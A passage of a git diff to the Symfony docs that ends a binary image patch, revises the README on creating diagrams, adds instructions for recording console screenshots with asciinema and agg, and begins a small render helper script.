z1>ll^9U$!G0kw_nEKzC<JO7=P3<QbtGGqTP4`}TI_F%B{-`TOiPK=Ugy`_0+fAinJ
zgG9i741gj(d0O{(k-$HK;B5EQ-u@>D{%?@XUL*iSz?&WeDR5xVM)P1luuGt&I;W+z
z=07R$9-p?MthV8QA>`luxVy6v*dNe4%wjJO05ab##cYH;#$qoI0N`;;89PV>n5Lde
zV4unF2oVtS{_T|}UjjP=fIS$K+6UMR0}M`2&b^$%>r5FMO`Y~+hl*^?rca!lzU()B
zBVhVv_bY$GjFIY$mClU4(TuC-OhCx&VD0SdsW}gmxj?@;ax{C9fYXurP|AFK(tL8s
zf~(bnzx~1-W8p1p@vhrqM)e}2{x!w(bwlgx3Fe!yn{WDhmxg<n-Yve(C%-MLefv1}
zU1K(|afQvK7y91E-+EvD=zU}Sdq(x|xY8IqN8X;k+*`<AJOJd#o9jQkEch^54cN4g
zuNpqhH2=wzug(|!h1Rp3Yio1tK>2TO{U^W#_%&b^0ecU@-w-(vU;;wq6aU|!HQ>lv
z{tI{p92uhNhOdbQZwIjFfE_uS$6dnci@EK5J%+o=KxCueR^*vK6m;D?X{1lyVXFoN
z%6rx2TCX;nZ8pyg!dkB&ATX2&&I+$E?ZoA_$9n*$0drlM>^tFPk;HZQiioGo@t0K|
z=SP%AABb{a14sHR>$RQ+Uwi)XIy6QuB8d}{yVFjp`~|KALiaD3;~mHhxyBHQ)OEa$
z?@Le>>S%WSjC-DOm<M)v+_%m>>T{1lT30Df$+i35kjuctOH$h%-uAMTZ&yhT_xX_@
zo3vM^yMuXT(<e8)7ep?i-M$iVi8d{bgW7GXq&f+1i>~bf&)7^C($07O`pdk7pcp=V
z<Q?$&r?~Hs4}tBUERWvb{xT>$a~Jy2e&#;pb%GNHbhF*bYr|4V&#NNt%do*TI@?()
z!9ivyL_8pIHbml{Nj3!&ubmyDluwxp+f%ub9jPAT;2MF|iw)OOM6!5yf>)eV45kaI
z_M+3J>I(+A=UFyz6jHX=8QSoTdJpD&kQ&b|)^XuJ=UqkjM7N#Q17z5$cfJ;S4HG4S
zwsC0NIc5pV4oNGmcTT^xv+YgVeUivhdcd4xVMZw5Wsi(-={^O6$<j=M89#Q0cfUGV
z8ikN?n~5`+(9Hyez$)zDotQ>ZX*+o6K32P)bZuWol~(ngLY38xo1q>zJv2mdG*^bT
z?wj)1=bVauH^jU5Zb18T+VcZHR48=4LmxthZ34?e#$1}NNKIY;aixAnFSn>@*nge|
z1<QJO8z>gN$uUTR;b2kI1_2<w<rYQ)Y`Q0tS_1d+rnYiOompu`%1^Ge@yRa-KY{wp
zbmA&}P?14BT^vDTf^tkRWtjw|YOj2Xg=(L2Nu+AOTGN2)9i-2`|JB`@#zWoz|9&=%
zF&M@knz3XFjeTgFG1fvzmZZiSrLxoJvJA%B*g`04sZ_`sWiZyLvCGyNYf=|-l~(6F
zxvt-G{^#boaUSR1+?jjxn8)k!{ybmLS6eB}pu}Fl9|I!bAa0)`9qxo4HzsdAUVydm
z9K;b$+Jx2cbU-fSLh@xrCLz@_PPV;{y*j(}YCMj+=+&JK%F}B&e|6~dq<fcD=u`1W
zttqlItl9pPQt<84+vyO=H4`v*^CZ8%AOYkcbXfZW6M0Ojw4a!<%l<Mk8=d);kjFRN
zsDCHk+F(IPBsfk_hjH0d-;dD~EyXzP<bkd3JAJjN{%!7lYSX3hrnr`&i{IB8&`-XT
zj!I-kY0s#A=+}5ZdxDPUqS_img-3)V1+^ATHi>r;3@fhhs<3{-Zm0SFuaL5RsP8ik
zEr-6XwC`*A`Pb0)i(jAW@3d@xhm!RR!7#mPL3njlcW&okl=4)u54o{ZS*L~?WloD0
z%O_)1m1%qzaWN9Bh1>?q{DSFB3g$;4oaEFdba#!SL7^(J2qcAYd3a2>DY*A|JZPE!
z!2XRm+3h_e{90S6Gp=~JbaiEnoEH&26B$F8(TXj17Lq@cV5);GHd$A6gR1#M`xiqx
zv~H~{9bW4c{ZScd;U#AQZ8d`WX+uGbSG$Tf?14ywdYDhZz{n$#Jd#4!)EQ!yJ}|8K
z<<7$>*e(SW6<Uag9t$8D&d{KeWybJ${}}ORa;dVJMX#M6Mf^FQml!^aKK^VYt1`Jv
z?X1PilM@>^8~VyL!g^kw{<e{Ao53xeiKDthKIL><-X%CiS$G+0=Uz{|t8>qy|J=!-
zTQlW!0@<za?3Lr$W5|2>E=g;r<^}8k%~<6{&nsJpAyg`kQNU7p9d?>6oLG1lD`vZW
z%w#R-PHH$s{(%b032us=T5cum@n?n_ZYB<2W9&^PB2X5?yF|+t<xXK~j!y2k($?ZM
zbQrdFm}pGxR=Ez}N=kh)E1%~L5q&zX^Us5ucYSmBD2KZt6EFJQJJ`Rh<LH)roE$CQ
z!Bp9I(H3q@Nf(L7#c5~=AucI|l)*H8NHw;ggQ_qAZz{B(;u~iyGB0Xpxj>++I^-ML
z-?APtQNA`|f4V#C@t`L~)4d35E8&42>_eO0=;b?M{Fn1%LZ{BIbIdq7<M`7D;TQw~
z6d6!d!nbDXeH}x)Fok(IljG<0JixiWI_OsR8v69{N#17Dr?rwP6is`fao6oii1<Sg
z_g>_Aq_-qnw984&*xhd5t394v+_Xd;ORX2>{w45$O;dr}14rgn!;<fYc<Z|HDUW^b
zd2)wIJKZwk=w8ScZT2y7D>;(nuo_qAB-#y^kQ2%iqE~S_gTd@byGs(_%uDladd)&*
zKR)U=T`JoX#<eiLKY=ZliMn*DOa<X?X@t4S;?gKa9EqZ3yUfsx_+_KxK=3Gg9?fKZ
zVH|8#fN{A~k(%hd>JHl-)HLIYi%k)lF-p#EV-P5sp|;dX**eq>mNL0SMe(8z3<a)?
z#G*I2ibe2PO%3xbUcb4sY^U<@bCrd-2Sv2D`eW4~Q!HMy)sey8?vACya&wVsE*K1W
z7b(C<ZXtzSq4*M_0(vFTcD67?@)qJ%)p^PFL|1zw5^at9Ozf9spU3W{yRO7)uuh%8
z9e<D2<BQ}g#c*{h&l^UBM{X@n!W_(ne5`5+BCep__7A@?d-J{bPMuG7j%1fK$(la-
zW7;u_{-yrug$o*SiN5^4x1Q(2x$LUGqDpa!pg)OleX16%D?COO_O4W4<VrSdK4}uN
zuJ`zonw8_`=CtTSxjyR=*5Il~k9kBaA%fU{G{#4?g}OrU(PVBJ!qkvyru$BQO<UM=
zZT9^uU4wg#)N9e*C`ds=9MTPLGMq6XBzW0c*LouzZ9lIp_h({{<EucwvL6fkeH;6Z
z3VgcN;<<=dy4N2zla~Me$E|<$Fq!|sYj{Rw{avSwOa*`o-?+>j1pj=}?TZPS90dPH
zE+;%k#{yb84r-B+cO`~$HSfXi^5k#SA}I+#@HxQ6e>5lm6`OZ5GXUQw-skw@k|{Ci
ziLn5DpOKpIua|{?+LDc&wq!;Ekd`^LJy4bW7jWMk3)Ca;Hn;x{$<F|`;(k%a-^Iw^
z&j*}J<W3(F;3*#5diuQSH(vjACkF4p6pej@J79g&qXJGJa;FSAFuH@+bJ+TSnvjek
z=D*93J3PhjJ|w3J`J1ZmnVtmtkU$xd6N$%%{^>y0zGBZXn|}x6S9E}<7y)XK3p3;W
z&vx*74n{FQHKnOOrEM~W*X3km(#a`Huc^V-X%iDpC3457Wvn-2?=UmfKQlG**3ROs
zv(MYh*I70PS)S)vSE(Ev-^q;aX~K?9XHyb?7bg4Ii&JwsKrprijDJ9Fk`s(G6aFqw
zeq=8thAyRFTI%jvniyOj>|dVgeOD5_k`=b{u;On_0|>(t?e76<zqw(x=fUb|-RfM&
z&Qk@aU<tG<yKZwLG4O1`!8hn@b1yjr$G=d1P7I#d!8d?j<qpaZlq&zDQThKa%@4%p
zqW?WMql6A!^+sjqQvZ(4^s}$juu`T~n0>14+=ggV|FX(#S&!cQ9{=M0sD5_}p)G;)
zkiq|qV&E@Ud=w2>U`&WCkcJ{J0;EXGhWni0w#F{Ym5)6Uyf8y?u!wP%yhwlG`riLY
zBnZ-ENLm-0h|PRW7Af>lg+!M_MDr!e3FOfzNGjoKdi*1gy4TlIdf1(Ngr0gIR_-Ya
z_G@+IA?_0SX;AZS;NH=a(~qR&ZZhm7_@?Z<Z{7eMC^XosY2+&iQsEory@ur<jc(Q4
zqttMX92E7s$mC80?HTcX_d`-UiN<B&j=_0so9?Zfzy0Z|G!{)g^z(|(hmogd`v5u9
zm-Y3xcm8-05%KFIc=>IFpc@fnVG;7VPZJ!>mBPz)sx1j3Tw_m+g<!RqZbCl;Y4O}q
zPBbbk4Npse6v0yx)gqSNsk`IMnEdGb*xTU>YQ&><9}4snu7CJBJ|}DR*~ybeC=M%4
zxA-=$kakSt-8}8En0cfV!YIfLWCX8S01GMjClIBD8M6*NcpHX?U&LQr-cT=sur>xB
zEbpyzAf}hbTz%tl=i0Y7vW0&j5@m~Gq^`&o$E!Z$DM>Pv61sKHZWFoBVwg;Kg&07g
zr%(;W!U#BqF{@;uFkqio@e3B~47;#ReyKe*?d!njZCUz~c8${Z@X5i?fc2^sGI_hQ
zL-=Y%)iU;~Uog+Xm<JD-&4t4n=mV%o=oK3g6VU#K4mzPq*?y5ARP*4mWdPlf#`7BY
zw5>n}Q^b3d1lcHk@%7{TOD&);-B0M-!c$L3?kZ?7*tuE=#Qj>$gAPYa3ek5#etIX}
z=V`6{*d?urCJ`MD40WWa=0ss`S_y0_Mc!yz-6+%=o2u^L_qHO4w9x9mVAZ6#)~5lU
z#|cS;^T8>a-1u;2<FgYsE2NXs_O(Pu@l0K!i{NlA;S34=dE6m8rPhwV3`*hNZ9jc9
zTq+nvQG;YT+G*wHE19c8X15>dzh!Pc@0z*3bP&&qM$0zLCMu=k=WcAfHq0j-|A;qs
zH;~u8`O;=9Sqq_HV~P<&V$O*`MC@#KS&W1Fc`cF?xFwjSpp6d_38I#`f?tJE2)6^-
zn2!u?ohIoz!J=JguNvUTV-5E-gI+SI<ksmorbiLAMKVwDLS!nv*XNJwG!q_xh~{5c
z&FtG;*vAz#Px0u0oiu7tB2-xc1MQb;ANUGEJmW&!;7Y}(PF!R-P)s!3dB{*QZ$+G3
zi<ams<knwCyVZcD65v=KGxN5Mv^Eb#%UM`FqfP7?@Q{%_TcV1iS<M$|s`eFuyt><E
zzxkWjR>~M}ql$QCq^hiNt1)uln72vzHh)~OoQTUf4-pq27+2{oDjEPckw!?>j>Aa#
zw$Nzm3e^Ypl26b!@$1^GXd?@$hMaBF59F2#3dYJWY9pe4L}99^#(jEVZY*LQqc<L<
z=nvw*SGJyZC;$ueZ0{UOhKQy{&Z(U8v9LU6m;RL20oeE~qVPt**PQv!&!V7ym$0WB
zj3m?Llbxg(!tNl_FK*$N&PM4Jbp=J@Mi!q#Hwx7e?3PuyPTl5b9J@XR-Fv<v!B>Nk
zg=mZc3otX6iS20qNK<?ehUP6DsCsh3TmKIOBXL8>k?%*mk!iktV%BnEr35Zni}mfk
zgPTPn_iOeTW5E1@dtgSz!lp-b#8uC35<u;m5S>sQ(vA6%$YrivGj2hYaPT$1(H*Po
zDKVH<heAVqJJgJ9du^zDyvYqdB;eNwwpl2IDnl`R-wsC`7D<X|QF#M<ZOJdzO1k7?
z)t2F;L&{nA)r{W}<TUxN8@1;~N_Asp((~f*k;QzP%fuJY28vCYCAhgf3%49Z+6z?K
zAC_K+xT^1wHf@EWk}xaDK%S<W4hWNu(#iBjRf%~bB1J2l)v2Qjwnn#c*ZdB;QoGC+
z9*Nv5e1BOsO~_f94BqvAHv&dZ3Y2ufaNBgBGH)8^(-S+Glw+b+c;&XqQ&5diWtRE{
zXLzCBIfpFNoA(5f5|pZsyTH3aejQjP)b5(U$KxiDL^nnzN<zHxQAZ&kY1S^vMo!pT
z-CN1fP3`_f*L^0rBRu!7>d#v@G1Xieq{v$ZF?eVtBnl++ATTRxO;F0q@(~mf@HT2$
zzbW~G+ipH~{3#o|%sf%5!mA+`bP>|lY$dF7(G9gP!bGBmY(YG|k?$@NgTaVtM(^Ef
z7e~0)tADiJ{f$iB`w_d-xRe2P{AZ4f{`>q1+&($jNL&_h0p;{46EXv05`I@Hvx3u$
zLVh1X0R=MW2%2|4^5*SmKztD!%Q<}JmHaEg?ZmhEgt&iUvI+N|CMGBT&4~aZE;F5T
z?*vHMyqo{7PgXYWM7f=NCs3R$*db+stLN{NXGu*p=i~|GxFU`$6}WVAZk+#MAi!yp
zL&tXYSKrV5cSo}6?~ddS7yAroM{=r>fXJe?`FD2P=|$3?SJ8*ZfCR@mWR8wA#^3yn
z!veR=o^}9-?dfRX=um-MX7kP=6QDn4IEPHYSur;~G|w9Dd&X%*PLBYM$TxkQTjm6N
z;<x$K^!F`Of0}r3+RSv?%4^!$mji&j>E-0LmDw3*;FcNq*8M!o(TsJ*mIZvcPURRa
zfD`7mV0H}We#xHdn+x@ti;tg6Po2AYYc98fbH%*;&lNK-d69Z<F(GVmVh|`)E|upj
z^>i-}^#do&mF)19@;D%-y?>U)IarP~y`NybpX>t+7#vw@Q^RUkDL|BPGTLbQhc`7J
zCYwLZb#gA3v(JIB#<^MUlrDD;mcKC*&cSjAGhugd4wnC4lrDiBm-Ih!99CF<(O>lD
z-#Kpf_DP<zM6kh{L#vCjRVbi&_3BE%i6gGA&jJ+-e9&Wx^O5vkcZSGyY5X}Bgv7(;
zFN{A*X_GK4InvLo?cHW9QT+<9UHi~6n&F*=8iy`Fsp>#6RP>Ue(R$~R#@)(vD#75)
zrxh>r<k9TCXWhSX9jG)Pt&quVhMcQq-H*A!ZyJhhtoD4Fxz8;BFEU8P;y!Ezg)_Mk
z4Xriil8~cO?P7enttEnJ3Z|2=0Ks8(T9_uFdF9iW$lqFv#>}GpY?CCU1><wYUvmAd
z9HpP&8hm4YmPz<H-4e9@<?;3Atq=1_QO8<-UEA7Np1v1mu0U9gq9e;eM-(G(8vU}`
zq+EyD;<5=>gB4y9`J{%)L_uMZSpphi@1`m4-OY*<2!vyUVY8Sdo(`w@c4JScv(xaS
zrCMoMSOZb;WLCdKNwQAhS&!uXqd9Y-2UoV_Q}tghGjW1=n?4O_qYy!iP%BIje6T?1
z!zsZEO--R{G{$LioB>Kao<A5Y&gJG$3~IH%$9B_04fUjS^htUY1W)kF-VR&ok-2mA
zTcZq+<BsqcH^V@!P_UYfspil7nzqH7ND>jG&qRTuAi4eok~s#uSWY%f6D3OGHJNUb
z<?N}v_{QzX4&$mRe7s^ETWao6<L74&AG6lKJ$%yoEtIB_Hwub_fXa<xK{=N5M?p4?
z(MAxlLKI;)B*89O5Ot8S(%@PYutM0C^N`KWfIV%?laj_-gzB?3OP~KW^YGG(ADz@E
zE#C}FrQn1Vp-55aMGIt^Lk|IDVF*H{A?F<`j^p-;C~$SE9wGLLsosq=2|8iBS#mYL
zO~1TX<xZbgFRn%HDXBZ!#Znn;+}fEzxW7oUES8`{OrA-AM2$tRePfz%Yr4{gV8ny8
zVTi43@`%&!%#fjzVOGiN`!mPELuC2T0jjevhO!ru<rlb*<`)*P0%=v(pY9m9>Y57a
z+J3G-bLCS({o80B0sL(I+v$3?;DQ-WlRIzVC`b)7LIGVzLF2?v=-7aiL|k8~6UkIn
zl(6}Q)5w!z^)Jwt4J>z?RS5qlD7Q**>txbnmkJWdqGA99Er1BdfnkCqBT$DqD!zwp
zszc9y?s&u2192S!+dUd~n7PkdCDGmqD}tuO6!>G(d*F{3Y*fm^IY3I2j;%@&zmBcy
z;gLVLw?RlC$C=YPKnkFFg@^+=&S6!I%#4C6nG?5N*)Y*QGUO7YRp8263<fz{q>MvZ
zcZ2sySr%;@cXM)_X+F7t^clk|Izh9?RFE`R=mmybZm4K@k<9i-0%QMLWlRW;9UA8p
zuOQYgs3Qzly4i-}y}1_WH2jk1XJvxBvHSiYOb5XR+-8QH7mfRNT$4~GV-;S7DTW*O
z;%8&4D1<m}UL#F~@EWymwyLt8#y^_73oO;z1aI7D@a&#N9L3wE%7~Qi6%cJPhr>i-
z{Eao82DDV{(y-h<aEU}A?nwd)`#@esCFL(OuFy(}GEnTE7KxGrs1?&>k)kv?B7EzF
z5hipHrnbD+<8E1%!^>M{G((OA!zsK_UxH?7ZcG%DjCtaAS33#Z?_kG_iJ=RrUoSNm
zT-2ga;T?*Gwn+O^?CkId?R!oV`;tY9B}Oc%yoVgOlU-;O2+FC~$DKrRA1)NDUo*P5
z_3qfEh)*%vQulUC1SC3E2BbYv?ob}=E-<SomMBq<RXhTI?d~L(rt&FTymyI)LV|L+
zG+RM!1k|O!KoMV77o*^E$8Q<dL}QYb!+sGG?V5{4X{#8F+5p_Ha3FuTs5$0HtF@Cr
zpfxm#XzbTX<65IT>AhScHuv`45yO>JV8>*n-E4(sibUF13(dHM5r!4$oZz*XT|9QN
zFx`3njvP8k)h4;Ip-93VPj%uq8ZWptl7+H5UwNboA$Hn5{fWXHmR-ktjFlxo370n>
zuZyJS5I`MkqwZYpAoe?S?G0DV$*vxm11~b8lP7!H_ZVrG)(386iBG@ULs);~Y)UDE
zR3#Z5dK$MZDi4Fe+Z0VLP<-KTnF?-?gFKpA1q?SdbIHb-6+!|@+8zBw;+|xZt+k;}
zn{Ygnv3KI=J=UOG1Jr;bf26f1wK5%ubikhkTO<m9Os50B0BPW2xx;gsXbY^<Ji@##
z8l9q>{1+~-kcZuMHe$|Cp^Xghqcb*-VU%b4HFE6JBaEEtG&YNN<HLFOmyZZW;Msid
zn8y2;@jH?3DCj*%4Guzp4ucIr@myS7|7Gq^A5u>m&`BE5%NPWl{ri&!4rB}-${RXd
zG|Un9-x>mtV^cubpF4OobHKV}*cMRrmkgcA8w5Q4PDMk2bYsWUe=7gKmJ$A`TP6Ae
zsj+169H3F#;f<dT149Wwa12h);9$mu13Om!@bvsElsI5U0oYIgeEa}r4EXqgfrGzc
zV*oP-VB;Oq81V5w902AL0MZzc@dNfWU<6@j<^Y&N0G1Abbpv1=0oX*?nLGeA{6KsJ
z_6|7qeU5sg3GnU%Eh}LDfb(cxkOeFt?9j!)I07(*z&Qp2uKj0?fNLL^MF3V6fMo>0
zxDRY40MiM;!U9LG4?x9jgEc+OnxPS3X93tv0A?2&I|n&$;(%HI%?Pl+(EO6)*Z;R%
zzh#IcL>nD%8ynpriWzM~48XF{c?uYG=olaG?X2(Z9O~t~jE}rxO}`$id%a`R2Oh*<
z(Fgm6h6V?RW=4m5YdIkCZwcD?66?)C#022fpPS^I0ofy*O!?0O1?P!;av0d507fXL
zhlYNK%a{MPM&a$VGf1&BMFEUZaCH0j`+;$a+4u}#r2<%{V8<r1Cx?KQ3eGEe&O?rO
zA9y9FT%EsLGXJ1%{#C<5W81>=2ryl-^sIiVy9Y4wFXu-C8y3qW%;m8j;FbJcL)p8j
z!Iky7_l=pW^{K19_gBXnSAn1j5X&6}ABG-qVkNtS^C13#wGJ3P*4aRRYh$T%V|8NZ
zH5@SUfBQJ}{nONs_5TZPtsTZ#85I>10~dwkM&k<sbHBPpw0RYq6ep%_c&h9FWbQwj
z<y6;`-{|W`N)c5bVe}lwblw&_gOE8=Q$A2)p7Ho8tF5E>yp`2B?3<0!iTuM)4%zqC
zJ{)@jFlIIAltN8C!C)p1hoT6`$V?cTH#roZ01H@JqLx|e{5+15hstgBV-lbj<`7Oc
zBs0V#8W*L&va#ChhQ~_*9n*7@wHFd#8XIauiILz*ku(8yx+?V8*l9Rw_Ul-keANDz
z(hB4ry<HHj-`s`SvD(+Za_67-0X^)Z-2RJ4FD{+r0_z@vhqF|qTs(%j?6+GUqrqk8
z>0Ae<UlOn<)-H&l*yErYy3C}f%S3H<UtL$P?O#)oFfq7YaGq-kDnc4)s)`{rM6fZB
z3f#N&4k72eb&1B_mK0ULAuM)mwbopRhg_K=E)!hYre_UPE{xI{4VR2Qw7v%v%V%EX
zLg`#KFH*d%sBc4^{K4iT|M{*QoD6ARhCwGQg%&KebN6^0(+ho9=7_hhozs&RA@}GW
z%UR>5>GL=8`6cphf`o7T1tDArKaE}Dxqbxp@^8EP#(*ip&lI!I?0KLZ%=TS8p6402
zmIp|N?=p{(0Dp<zkAueDdSe%scvY@CZyvV<8JYKL_}%weD5_*{*DP1K#wDoa9%Ii!
zFt=S1zA+BZ!xN1>=?iW9lo6EDo1&8P3A}cG+G&JikIQEhF~c;on5xjDs7EX*{HTWa
zNWkt~NHcaw!2{&`F^Au<`gl#zh{})#25C?CIpyj3r(RIQ*)cs?<R;xmE3LSo9vT0B
zEgNNFqv|Pe3b#)1_9MlZ@~K7UkZ$L1&={6ls~_5x?;#7IF6K!~Cn8mgHaI=(bdc&P
zkB*lF=e5`Zo^iEJrtuRrh7yFg*&MVisgN$R`tK?g_k+3rDbdJFd4(sp9DFt90a!rr
zXIf;wOa<3(fB5n?l1F2UMG?QaHGBHKOr7?97QfzHY7&V7w+L4^6Yxqp&VXOOcD)N;
zc*7>vyf^%j!P4z`4MTQC{YQ?u|KirWf~(gBL<+O%2_G766gC-pF(MI&WNHjV%G0q8
zvRwNR4d?YYerqw#u4GcivVw<yd>Uxi{P~6rmot|q#~+UP%FfuX{koEO`_Q+gC)+Q6
ztT&x$F<fnbd+67v$(BEUZGJzqy%lyC^zGOma3mQbSWf5GT8r{HF8k?)1Gg{(EUKmq
zo>7(HN%iqZxDj~x1d3uM@EU$gWUwG4%J2!7QH-a@tm1H5n`j;LGR`t@PXtS-`9o#=
z%9fki_O<SIEO!-E8Y_p2&0)xE2qnC?DHh6=Fj2A=O0@Hn6MgE`A@hrsWQ$>o|AFe1
zPpwKm4J(lt@iEoAo0fc@;<0OC%Ty;dEj3K7Wc*xr+l1twS6=OE#r|400^Df4okQ(#
zkZqlPITWpb4f_T#+Dlwh7oGTiOJPV%Ksm590|Q<#Gkzyz7s|-IvpH{Q(|F`W^+wj?
zWG`hegWmlSReS|CiW(Qb#<;F%WruBg;i3#o-NZ6->W#hkW%>5Gr1z)MDr6M4S-R(w
zG02=Xs&2atFB2REClFk8j)z5yF<Q^>?jf1q`qCJ9d&n;qZgGI9_4>x}ko=cb^Fs#J
z+pj}5Ki%0tDj(!JcPyHnk$q4ZW+Zy<B?X8O{9em4GE%lwYx`o4(q-dg%5?$UTIjoI
z89riS%Seic%<IYNHwPXFoHf40{qU$X`Uoa{u~9?-_Xu*}vI>Q^DWY)rr@75Rt>ILW
zEO|3mGrR1Sp}UZg`$m7M$b=i7a6uG32y0e7QGf14MXK#X*M)Nq&%c>edY_Q;`n3Fs
zd2&#-LbuegY!=CWHn=O|gS57C>sUoX+^vtAPfqPcDTEtPS|_S2DY~mNLRXzSQq!uE
zLRQ7G-<^7XMOJ6juA=%D2VSSyOBa7qJEiUzy}z&!mc*)XZPDX;e&rETkrsERWAx<H
z?J{`<z}$cFaJ9>g%{uv(1#|x~%_%nfbHg(ejZ0bYT~x;d1>gC9lquRft!ekAaiHU3
zNK5$iJMXck$)CiqN8epH;=%+UWG%wW?+d($pgh?kMM>D8;#p;mewo3K)=l*%8-$|n
zDhmO4r6IXUET^1D?_6}+Gjf@p6CIXX8Ksy^M(oX@pO)v5=v|3NUfSY;e8$C_AlU-I
z1B(2i^>|VRTco6cq2Rrq<kjqsem&0cy)diquF50q>E0FaLDT%GPfCdSoX}0_U2?3#
zSRoy-K#dKL98!pP>iO|*H<!SSJJJg(j+bFF$kiaaLuw%PQQuj;pmAoiw{FIp?fx?!
zpYnz*m-NOO{Z58zWe&8$aPkl?QyZQ;KaoBmD37%LixjDJwK}zOfsl+{t-Lb{sge|J
zzf=d;CAovXZ!YgJ#y@YqV}@7<7S0jp<sO|2vBc&t=RnLvTJ?gZmHh78s7&}>PqF>}
zn=vl03b3Qm)dOa>CUjHPSH1Utf5S|ztGQ?O;hf9&iSbteW8DA2yQE~2B~af`%O6im
zh6;IMVxM*NeGFA9LpE)7XmEgK1-kTBX#I;X>giP>Fp#V!j}VA_$t$=R{lhxE?Wc^e
z7r{;DEFRhl^{=Z}`N7@?j#VYBC!}7T61lt9&}}A==)@=%k>6HoRKfpBu&a<3xogv*
zYM-`|rhQFj;g>!#vj~Z|obszV&eIv6ntlTBv5PM8b+2c1(ygocq60Ku{q&EUWyeb9
zdI;Z?D?Rz0@ITS|ufH0?Uj&f|U~c0`qc;jv!{Vmv3eUEXgC+urC1*<BS@W1^H@NXR
z8n;WGxv^jWkY?g*5J_Y*$5ib~6+eCd&qXYj(3<5YP`zIDL6Jz2eXv{`^u86Hlvi!m
z_Bk|9G(sx*-j%MiRs8OL&_8u~I&{mU{%YO-Q%noosg@dqWN1U*Pj7we=baJqqDQiL
zS(o44{@Oi~_()h854K!q>7J#F+;uabYEKgUI`~jc><<0;_R9Om{8R0R77D4{`sCKc
z^PY3>>nlxla%_{&8JB#S+`2w3bLP`W@!j0Kl>#^v2<GJ2PtwyqVK^75pQ!-tjT8{o
zA)UiP+(80!WVq+tbtCx**?WBEXCuytM@+JiV=Sc3Qt*pH{`Z9FR)7929{$!y<fK2c
zO-XOJCNNL{+C_%P;rwA|BhR+Ol-5p<1xv>-a?3G%^va`1?NN77hyfdZx$ubP?2t(t
ze&zUR)o!6mfBwG6@GdO6<xBX{Eg_gV*xx@?x(ZD2(VNx*O1e>UQQU=D*Uz?7bmu5+
zN5o=Rpsqf0vJ%-=$v?3cqS6o&Ifguw^T(Y^g!8sptgNG67zi516ashi++Vxki?&h<
z;K}f?cmop-q3VU3Yg;=Zo#fDtjzJZ)a2XydZ7b0(hp%pp_f@69i~1`;V}E$chpNx&
zs+|b1BtQl$t%hSDN1XJ^%C)SO`C8YKnJ8-Q7H<U$IcmcvGltL}55PDDbyOzGEFp(z
zNq1;hJn?!j8iegSJ+Fv)c|PS1SmVpWL8XZn3K;IDNVw@;0jo}ETqN9)ZhPiwvht^7
ztu5p;R*39a${iM;7BPkr#y?8uYb=a#&Ix?09LT1IGiiL!F=@Kg)O|$)WqL#pl0}g`
zG?Q$Y2Q|c3?q9OumKlI3m|TIq!#Vii(GQfO$IFwRECn<vp+|8kGw{?qHpn-T;o4w+
zrS2p-3&}ZxpS!j`3naW;n4ot#Lk}H&*FQ~$2caz<jfEo$Z4eRRspOKZbCSBh>Th1O
e(7y2XX5d#`fI)Vs!QPO|*;n2vdH^`}{{IEjmDYFw

diff --git a/_images/sources/README.md b/_images/sources/README.md
index 8ca7538bf5d..a07bd5180fe 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -1,8 +1,8 @@
-How to Create Symfony Diagrams
-==============================
+How to Create Symfony Images
+============================
 
-Creating the Diagram
---------------------
+Creating Diagrams
+-----------------
 
 * Use [Dia][1] as the diagramming application;
 * Use [PT Sans Narrow][2] as the only font in all diagrams (if possible, use
@@ -21,8 +21,7 @@ Creating the Diagram
 In case of doubt, check the existing diagrams or ask to the
 [Symfony Documentation Team][3].
 
-Saving and Exporting the Diagram
---------------------------------
+### Saving and Exporting the Diagram
 
 * Save the original diagram in `*.dia` format in `_images/sources/<folder-name>`;
 * Export the diagram to SVG format and save it in `_images/<folder-name>`.
@@ -33,8 +32,7 @@ that transforms text into vector shapes (resulting file is larger in size, but
 it's truly portable because text is displayed the same even if you don't have
 some fonts installed).
 
-Including the Diagram in the Symfony Docs
------------------------------------------
+### Including the Diagram in the Symfony Docs
 
 Use the following snippet to embed the diagram in the docs:
 
@@ -44,21 +42,59 @@ Use the following snippet to embed the diagram in the docs:
     <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"></object>
 ```
 
-Reasoning
----------
+### Reasoning
 
 * Dia was chosen because it's one of the few applications which are free, open
   source and compatible with Linux, macOS and Windows.
 * Font, colors and line widths were chosen to be similar to the diagrams used
   in the best tech books.
 
-Troubleshooting
----------------
+### Troubleshooting
 
 * On some macOS systems, Dia cannot be executed as a regular application and
   you must run the following console command instead:
   `export DISPLAY=:0 && /Applications/Dia.app/Contents/Resources/bin/dia`
 
+Creating Console Screenshots
+----------------------------
+
+* Use [Asciinema][4] to record the console session locally:
+
+  ```
+  $ asciinema rec -c bash recording.cast
+  ```
+* Use `$ ` as the prompt in recordings. E.g. if you're using Bash, add the
+  following lines to your ``.bashrc``:
+
+  ```
+  if [ "$ASCIINEMA_REC" = "1" ]; then
+    PS1="\e[37m$ \e[0m"
+  fi
+  ```
+* Save the generated asciicast in `_images/sources/<folder-name>`.
+
+### Rendering the Recording
+
+Rendering the recording can be a difficult task. The [documentation team][3]
+is always ready to help you with this task (e.g. you can open a PR with
+only the asciicast file).
+
+* Use [agg][5] to generated a GIF file from the recording;
+* Install the [JetBrains Mono][6] font;
+* Use the ``_images/sources/ascii-render.sh`` file to call agg:
+
+  ```
+  AGG_PATH=/path/to/agg ./_images/sources/ascii-render.sh recording.cast --cols 45 --rows 20
+  ```
+
+  This utility configures a predefined theme;
+* Always configure `--cols`` (width) and ``--rows`` (height), try to use as
+  low as possible numbers. Do not exceed 70 columns;
+* Save the generated GIF file in `_images/<folder-name>`.
+
 [1]: http://dia-installer.de/
 [2]: https://fonts.google.com/specimen/PT+Sans+Narrow
 [3]: https://symfony.com/doc/current/contributing/code/core_team.html
+[4]: https://github.com/asciinema/asciinema
+[5]: https://github.com/asciinema/agg
+[6]: https://www.jetbrains.com/lp/mono/
diff --git a/_images/sources/ascii-render.sh b/_images/sources/ascii-render.sh
new file mode 100755
index 00000000000..e72be572390
--- /dev/null
+++ b/_images/sources/ascii-render.sh
@@ -0,0 +1,24 @@
+#!/usr/bin/env sh
+case "$1" in
+    ''|help|-h)
+        echo "ansi-render.sh RECORDING [options]"
+        echo ""
+        echo "  RECORDING: path to the .cast file generated by asciinema"
+        echo "  [options]: optional options to be passed to agg"
+        ;;
+    *)
+        recording=$1
+        extra_options=
+        if [ $# -gt 1 ]; then
+            shift
+            extra_options=$@
+        fi
+
+        # optionally, use this green color:     1f4631
+        ${AGG_PATH:-agg} \
